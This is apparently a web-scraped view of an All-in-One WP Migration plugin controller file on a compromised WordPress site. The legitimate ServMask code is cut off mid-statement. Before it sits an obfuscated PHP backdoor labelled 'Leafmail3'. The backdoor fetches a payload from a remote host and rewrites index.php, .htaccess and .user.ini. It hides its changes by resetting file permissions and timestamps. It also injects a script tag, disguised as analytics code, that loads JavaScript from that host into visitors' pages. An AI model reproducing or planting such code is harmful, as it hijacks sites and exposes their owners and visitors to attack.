/
www
/
wwwroot
/
alo88.autos
/
wp-content
/
plugins
/
all-in-one-wp-migration
/
lib
/
controller
/
Upload File
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php /** * Copyright (C) 2014-2020 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Main_Controller { /** * Main Application Controller * * @return Ai1wm_Main_Controller */ public function __construct() { register_activation_hook( AI1WM_PLUGIN_BASENAME, array( $this, 'activation_hook' ) ); // Activate hooks $this->activate_actions(); $this->activate_filters(); } /** * Activation hook callback * * @return void */ public function activation_hook() { if ( extension_loaded( 'litespeed' ) ) { $this->create_litespeed_htaccess( AI1WM_WORDPRESS_HTACCESS ); } $this->setup_backups_folder(); $this->setup_storage_folder(); $this->setup_secret_key(); } /** * Initializes language domain for the plugin * * @return void */ public function load_textdomain() { load_plugin_textdomain( AI1WM_PLUGIN_NAME, false, false ); } /** * Register listeners for actions * * @return void */ private function activate_actions() { // Init add_action( 'admin_init', array( $this, 'init' ) ); // Router add_action( 'admin_init', array( $this, 'router' ) ); // Enable WP importing add_action( 'admin_init', array( $this, 'wp_importing' ), 5 ); // Setup backups folder add_action( 'admin_init', array( $this, 'setup_backups_folder' ) ); // Setup storage folder add_action( 'admin_init', array( $this, 'setup_storage_folder' ) ); // Setup secret key add_action( 'admin_init', array( $this, 'setup_secret_key' ) ); // Check user role capability add_action( 'admin_init', array( $this, 'check_user_role_capability' ) ); // Schedule crons add_action( 'admin_init', array( $this, 'schedule_crons' ) ); // Load text domain add_action( 'admin_init', array( $this, 'load_textdomain' ) ); // Admin header add_action( 'admin_head', array( $this, 'admin_head' ) ); // All-in-One WP Migration add_action( 'plugins_loaded', array( $this, 'ai1wm_loaded' ), 10 ); // Export and import commands add_action( 'plugins_loaded', array( $this, 'ai1wm_commands' ), 10 ); // Export and import buttons add_action( 'plugins_loaded', array( $this, 'ai1wm_buttons' ), 10 ); // WP CLI commands add_action( 'plugins_loaded', array( $this, 'wp_cli' ), 10 ); // Register scripts and styles add_action( 'admin_enqueue_scripts', array( $this, 'register_scripts_and_styles' ), 5 ); // Enqueue export scripts and styles add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_export_scripts_and_styles' ), 5 ); // Enqueue import scripts and styles add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_import_scripts_and_styles' ), 5 ); // Enqueue backups scripts and styles add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_backups_scripts_and_styles' ), 5 ); // Enqueue updater scripts and styles add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_updater_scripts_and_styles' ), 5 ); } /** * Register listeners for filters * * @return void */ private function activate_filters() { // Add links to plugin list page add_filter( 'plugin_row_meta', array( $this, 'plugin_row_meta' ), 10, 2 ); // Add custom schedules add_filter( 'cron_schedules', array( $this, 'add_cron_schedules' ), 9999 ); } /** * Export and import commands * * @return void */ public function ai1wm_commands() { // Add export commands add_filter( 'ai1wm_export', 'Ai1wm_Export_Init::execute', 5 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Compatibility::execute', 5 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Archive::execute', 10 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Config::execute', 50 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Config_File::execute', 60 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Enumerate_Content::execute', 100 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Enumerate_Media::execute', 110 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Enumerate_Plugins::execute', 120 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Enumerate_Tables::execute', 130 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Content::execute', 150 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Media::execute', 160 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Plugins::execute', 170 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Database::execute', 200 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Database_File::execute', 220 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Download::execute', 250 ); add_filter( 'ai1wm_export', 'Ai1wm_Export_Clean::execute', 300 ); // Add import commands add_filter( 'ai1wm_import', 'Ai1wm_Import_Upload::execute', 5 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Compatibility::execute', 10 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Validate::execute', 50 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Confirm::execute', 100 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Blogs::execute', 150 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Permalinks::execute', 170 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Enumerate::execute', 200 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Content::execute', 250 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Mu_Plugins::execute', 270 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Database::execute', 300 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Options::execute', 330 ); add_filter( 'ai1wm_import', 'Ai1wm_Import_Done::execute', 350 ); add_filter( 'ai1wm_import', 